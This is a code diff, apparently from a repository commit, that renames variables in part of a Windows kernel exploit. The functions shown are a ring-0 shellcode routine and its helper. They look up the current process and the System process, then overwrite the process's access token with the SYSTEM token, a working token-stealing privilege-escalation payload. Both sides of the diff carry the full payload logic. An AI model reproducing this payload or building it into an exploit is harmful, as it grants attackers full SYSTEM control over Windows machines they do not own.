@@ -146,28 +146,28 @@ DWORD_PTR __stdcall get_threadinfo_ptr(void)
146
146
147
147
148
148
// Search the specified data structure for a member with CurrentValue.
149
- BOOL find_and_replace_member (PMYWORD Structure ,
150
- MYWORD CurrentValue ,
151
- MYWORD NewValue ,
152
- MYWORD MaxSize )
149
+ BOOL find_and_replace_member (PMYWORD pdwStructure ,
150
+ MYWORD dwCurrentValue ,
151
+ MYWORD dwNewValue ,
152
+ MYWORD dwMaxSize )
153
153
{
154
- MYWORD i , Mask ;
154
+ MYWORD dwIndex , dwMask ;
155
155
156
156
// Microsoft QWORD aligns object pointers, then uses the lower three
157
157
// bits for quick reference counting.
158
158
#ifdef _M_X64
159
- Mask = ~0xf ;
159
+ dwMask = ~0xf ;
160
160
#else
161
- Mask = ~7 ;
161
+ dwMask = ~7 ;
162
162
#endif
163
163
// Mask out the reference count.
164
- CurrentValue &= Mask ;
164
+ dwCurrentValue &= dwMask ;
165
165
166
166
// Scan the structure for any occurrence of CurrentValue.
167
- for (i = 0 ; i < MaxSize ; i ++ ) {
168
- if ((Structure [ i ] & Mask ) == CurrentValue ) {
167
+ for (dwIndex = 0 ; dwIndex < dwMaxSize ; dwIndex ++ ) {
168
+ if ((pdwStructure [ dwIndex ] & dwMask ) == dwCurrentValue ) {
169
169
// And finally, replace it with NewValue.
170
- Structure [ i ] = NewValue ;
170
+ pdwStructure [ dwIndex ] = dwNewValue ;
171
171
return TRUE;
172
172
}
173
173
}
@@ -180,19 +180,19 @@ int _stdcall shellcode_ring0(int one, int two, int three, int four)
180
180
{
181
181
void * pMyProcessInfo = NULL ;
182
182
void * pSystemInfo = NULL ;
183
- PACCESS_TOKEN SystemToken ;
184
- PACCESS_TOKEN TargetToken ;
183
+ PACCESS_TOKEN systemToken ;
184
+ PACCESS_TOKEN targetToken ;
185
185
186
186
pPsLookupProcessByProcessId ((HANDLE )dwMyProcessId , & pMyProcessInfo );
187
187
pPsLookupProcessByProcessId ((HANDLE )4 , & pSystemInfo );
188
188
189
- TargetToken = pPsReferencePrimaryToken (pMyProcessInfo );
190
- SystemToken = pPsReferencePrimaryToken (pSystemInfo );
189
+ targetToken = pPsReferencePrimaryToken (pMyProcessInfo );
190
+ systemToken = pPsReferencePrimaryToken (pSystemInfo );
191
191
192
192
// Find the token in the target process, and replace with the system token.
193
193
find_and_replace_member ((PMYWORD )pMyProcessInfo ,
194
- (MYWORD )TargetToken ,
195
- (MYWORD )SystemToken ,
194
+ (MYWORD )targetToken ,
195
+ (MYWORD )systemToken ,
196
196
0x200 );
197
197
return 0 ;
198
198
}
0 commit comments